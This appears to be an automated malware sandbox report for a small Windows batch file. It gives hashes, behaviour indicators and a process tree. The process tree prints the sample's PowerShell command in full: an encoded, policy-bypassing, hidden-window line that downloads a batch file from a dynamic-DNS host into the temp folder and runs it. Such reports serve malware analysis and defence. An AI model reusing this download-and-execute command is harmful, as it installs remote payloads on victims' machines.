e0821c032569fd1820f3399609b27f448db1b9d34043593661ea6000bbcdf0eb

Analysis

max time kernel
43s
max time network
34s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
08/12/2022, 09:21

Target
derrffdde.bat
Size 645B
Sample221208-lbbqaace2z
SHA256 e0821c032569fd1820f3399609b27f448db1b9d34043593661ea6000bbcdf0eb
MD5 834e89e3b40dc70d0066308c5aa8086b
SHA1 9938b28483b704b275d6239bf3696d4d68b7ddc0
SHA512 c0562e96e7b8f2fc950ee4a29413c28202eaafd919b52156abc41a4f9489a4f56d797669dc7d58779b051f8bce2ac02c33aca79ba2374ccad2aa8fd643491c95
MD5 SHA1 SHA512

Score

1^/10

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
884	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	884	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 884	1792	cmd.exe	29
PID 1792 wrote to memory of 884	1792	cmd.exe	29
PID 1792 wrote to memory of 884	1792	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\derrffdde.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POWeRsHELl -ex ByPASS -Nop -W 1 -eC IAAJAGkAbgBWAE8ASwBFAC0AVwBlAGIAUgBlAFEAVQBFAFMAVAAgAAkALQBVAFIAaQAgAAkAKAAdIGgAdAB0AHAAOgAdICAACQAgAAkAKwAgAAkAHSAvAC8AagBsAGgAdQBvAGkAbABqAG4AdQB5AGoAYgB5AHIAdABqAHkAZwBoAGkAbABqAG8AaQB1AGgAeQB1AGoAaAAdICAACQAgAAkAKwAgAAkAHSBiAGwAawBqAGwAaABuAGIAeQB1AGcAagB2AHkAdAB5AGoAZwBiAGsAagBoAG4AeQB1AHQAZwB5AGoAaAB5AGIAHSAgAAkAIAAJACsAIAAJAB0gLgB5AGQAbgBzAC4AZQB1AB0gIAAJACAACQArACAACQAdIC8AZgBpAHIAZQAvAHMAYQB2AGUALgBiAGEAdAAdICAACQApACAALQBPAFUAdABGAGkAbABFACAACQAdICQARQBOAFYAOgBUAGUATQBQAFwAbQBzAHAAYQBsAHQALgBiAGEAdAAdICAAOwAgAHMAVABBAFIAVAAgAAkAHSAkAEUATgB2ADoAdABFAE0AcABcAG0AcwBwAGEAbAB0AC4AYgBhAHQAHSA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:884

memory/884-55-0x000007FEFBCE1000-0x000007FEFBCE3000-memory.dmp

Download

memory/884-56-0x000007FEF39D0000-0x000007FEF43F3000-memory.dmp

Download

memory/884-57-0x000007FEF2E70000-0x000007FEF39CD000-memory.dmp

Download

memory/884-58-0x0000000002484000-0x0000000002487000-memory.dmp

Download

memory/884-59-0x000000000248B000-0x00000000024AA000-memory.dmp

Download

memory/884-60-0x0000000002484000-0x0000000002487000-memory.dmp

Download

memory/884-61-0x000000000248B000-0x00000000024AA000-memory.dmp

Download